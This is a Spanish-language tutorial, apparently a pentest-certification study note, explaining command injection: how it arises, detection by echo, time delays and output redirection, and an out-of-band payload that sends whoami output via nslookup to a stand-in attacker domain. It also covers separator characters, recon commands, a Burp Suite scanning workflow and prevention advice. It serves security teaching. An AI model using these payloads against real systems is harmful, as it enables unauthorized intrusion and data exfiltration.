Entrada

Command injection guide

Guía sobre Command Injection

Command injection guide

Certificaciones

  • eWPT
  • eWPTXv2
  • OSWE
  • BSCP

Descripción

Explicación técnica de la vulnerabilidad command injection. Detallamos cómo identificar y explotar esta vulnerabilidad, tanto manualmente como con herramientas automatizadas. Además, exploramos estrategias clave para prevenirla


¿Qué es un command injection?

Un command injection permite a un atacante ejecutar comandos en el servidor que está ejecutando una aplicación y típicamente comprometer por completo la aplicación y sus datos. A menudo, un atacante puede aprovechar una vulnerabilidad de command injection para comprometer otras partes de la infraestructura de alojamiento y explotar relaciones de confianza para pivotar el ataque hacia otros sistemas dentro de la organización

Inyectar comandos

Una aplicación de compras permite al usuario ver si un artículo está en stock en una tienda concreta. Esta información se accede mediante la siguiente URL:

1
https://insecure-website.com/stockStatus?productID=381&storeID=29

Para proporcionar la información de stock, la aplicación debe consultar varios sistemas legacy. Por razones históricas, la funcionalidad se implementa ejecutando un comando mediante la consola con los IDs de producto y tienda como argumentos. El siguiente comando imprime el estado del stock para el artículo especificado, el cual posteriormente se devuelve al usuario

1
stockreport.pl 381 29

La aplicación no implementa defensas contra command injection, por lo que un atacante puede enviar la siguiente entrada para ejecutar un comando arbitrario. Por ejemplo:

1
& echo aiwefwlguh &

Si este input se envía en el parámetro productID, el comando ejecutado por la aplicación sería el siguiente:

1
stockreport.pl & echo aiwefwlguh & 29

El comando echo hace que la cadena suministrada se muestre en la salida. Esto es útil para probar algunos tipos de command injection. El carácter & sirve para separar varios comandos. En este ejemplo, provoca la ejecución de tres comandos separados, uno tras otro. La salida devuelta al usuario es la siguiente:

1
2
3
Error - productID was not provided
aiwefwlguh
29: command not found

El output del comando anterior demuestra que:

  • El comando original stockreport.pl se ejecutó sin sus argumentos esperados, por lo que devolvió un mensaje de error

  • El comando echo inyectado se ejecutó y la cadena suministrada se mostró en la salida

  • El argumento original 29 se ejecutó como un comando, lo que causó un error

Colocar el & después del comando inyectado es útil porque separa el comando inyectado de lo que le sigue. Esto reduce la probabilidad de que lo que sigue impida que el comando inyectado se ejecute

En este laboratorio podemos ver como aplicar esta técnica:

Blind command injection

Muchas instancias de command injection son vulnerabilidades son de tipo blind. Esto significa que la aplicación no devuelve la salida del comando en su respuesta HTTP. Estas vulnerabilidades todavía pueden ser explotadas pero se requieren técnicas diferentes

Por ejemplo, imaginemos que un sitio web permite a los usuarios enviar comentarios sobre la web. Para ello, el usuario debe ingresar su correo electrónico y un mensaje de feedback que le llegará al administrador del sitio web

La aplicación del lado del servidor genera un correo electrónico al administrador del sitio web con el mensaje de feedback mediante el siguiente comando:

1
mail -s "This site is great" -aFrom:peter@normal-user.net feedback@vulnerable-website.com

La salida del comando mail no se devuelve en las respuestas de la aplicación, por lo que usar un payload como echo no funcionará. En esta situación, se pueden usar otras técnicas para detectar y explotar la vulnerabilidad

Detectar un blind command injection usando time delays

Se puede inyectar un comando para provocar un delay, lo cual permitiría confirmar que el comando se ejecutó basándose en el tiempo que tarda la aplicación en responder. El comando ping es una buena opción, ya que permite especificar el número de paquetes ICMP a enviar

Este comando hace que la aplicación haga un ping a su loopback durante 10 segundos y por lo tanto, nos permite controlar el tiempo que tarda el comando en ejecutarse:

1
& ping -c 10 127.0.0.1 &

En este laboratorio podemos ver como aplicar esta técnica:

Explotar blind command injection redirigiendo su output

Se puede redirigir la salida del comando inyectado a un archivo que esté en directorio raíz del sitio web, el cual luego podrá leerse desde el navegador accediendo a la ruta en la que se encuentra. Por ejemplo, si la aplicación aloja recursos estáticos en /var/www/static, se puede enviar el siguiente input:

1
& whoami > /var/www/static/whoami.txt &

El carácter > envía la salida del comando whoami al archivo especificado. Posteriormente podremos leer su contenido accediendo a la siguiente ruta en el navegador:

1
https://vulnerable-website.com/whoami.txt

En este laboratorio podemos ver como aplicar esta técnica:

Explotar un blind command injection usando técnicas out-of-band (OAST)

Se puede usar un comando inyectado que genere una interacción con un sistema que controlamos, usando técnicas OAST. Por ejemplo, este payload usa el comando nslookup para realizar una consulta DNS al dominio especificado

1
& nslookup kgji2ohoyw.web-attacker.com &

En este laboratorio podemos ver como aplicar esta técnica:

El atacante puede concatenar un comando al payload anterior para saber si el comando fue ejecutado con éxito. Por ejemplo:

1
& nslookup `whoami`.kgji2ohoyw.web-attacker.com &

Esto provocará una consulta DNS al dominio del atacante que contendrá el ouput del comando whoami

1
wwwuser.kgji2ohoyw.web-attacker.com

En este laboratorio podemos ver como aplicar esta técnica:

Comandos útiles

Después de identificar un command injection, es útil ejecutar algunos comandos iniciales para obtener información sobre el sistema. Estos son algunos comandos útiles para Windows y Linux:

Propósito del comandoLinuxWindows
Nombre del usuario actualwhoamiwhoami
Sistema operativouname -aver
Configuración de redifconfigipconfig /all
Conexiones de rednetstat -annetstat -an
Procesos en ejecuciónps -eftasklist

Formas de inyectar comandos

Se pueden usar varios caracteres para realizar un command injection. Algunos caracteres funcionan como separadores de comandos, permitiendo que los comandos se encadenen. Los siguientes separadores funcionan tanto en Windows como en sistemas Unix:

1
2
3
4
&
&& 
| 
||

Los siguientes separadores funcionan solo en sistemas Unix:

1
2
; 
Nueva línea (0x0a o \n)

En sistemas Unix, también se pueden usar backticks o el carácter $ para ejecutar un comando inyectado dentro del comando original. Por ejemplo:

1
2
`comando inyectado`
$(comando inyectado)

Los diferentes caracteres tienen comportamientos sutilmente distintos, lo cual puede determinar si funcionan unas situaciones u en otas. Esto puede afectar a si permiten recuperar el output del comando o si solo son útiles para un blind command injection

A veces, el input que controlamos aparece dentro de comillas en el comando original. En esta situación, es necesario cerrar el contexto de comillas usando " o ' antes de usar los caracteres adecuados para inyectar un nuevo comando

Cheatsheet

Usaremos estas cheatsheet para facilitar la detección y explotación de esta vulnerabilidad:

¿Cómo detectar y explotar un command injection?

Teniendo en cuenta que los términos y herramientas mencionados a continuación se encuentran en la cheatsheet mencionada anteriormente, llevaremos a cabo los siguientes pasos:

  1. Instalar las extensiones Active Scan ++, Error Message Checks, Additional Scanner Checks, Collaborator Everywhere, Backslash Powered Scanner y Command injection attacker de Burpsuite

  2. Añadir el dominio y sus subdominios al scope

  3. Hacer un escaneo general con Burpsuite. Como tipo de escaneo marcaremos Crawl and audit y como configuración de escaneo usaremos Deep

  4. Escanearemos partes específicas de la petición usando el escáner de Burpsuite. Para escanear los insertion points debemos seleccionar en tipo de escaneo la opción Audit selected items

  5. Realizar un ataque de fuerza bruta con el Intruder y los diccionarios mencionados en hacking tools. Si no encontramos nada, usar los payloads de la extensión Agartha de Burpsuite y si tampoco encontramos nada, usar la extensión Command injection attacker de Burpsuite. Es recomendable setear la opción Delay between requests en 1 y desactivar el Automatic throttling para que el tiempo de respuesta del servidor varíe lo menos posible, esto es importante para poder identificar si hay un blind command injection. También debemos disminuir el número de hilos para no colapsar el servidor

  6. Si no encontramos nada con los escáneres podemos checkear las cheatsheets de PayloadsAllTheThings y Hacktricks

Prevenir ataques de command injection

La forma más efectiva de prevenir vulnerabilidades de command injection es nunca llamar a comandos del sistema operativo desde el código de la capa de aplicación. En casi todos los casos, existen formas alternativas de implementar la funcionalidad requerida usando APIs

Si es necesario llamar a comandos del sistema con un input proporcionado por el usuario, se debe realizar una validación de entrada estricta. Algunos ejemplos de validación efectiva incluyen lo siguiente:

  • Validar el input contra una whitelist de valores permitidos

  • Validar que el input sea un número

  • Validar que el input contenga solo caracteres alfanuméricos, sin otra sintaxis ni espacios

Nunca se debe intentar sanitizar el input escapando caracteres, ya que en la práctica, esto es bastante propenso a errores y puede ser bypasseado por un atacante experimentado

Esta entrada está licenciada bajo CC BY 4.0 por el autor.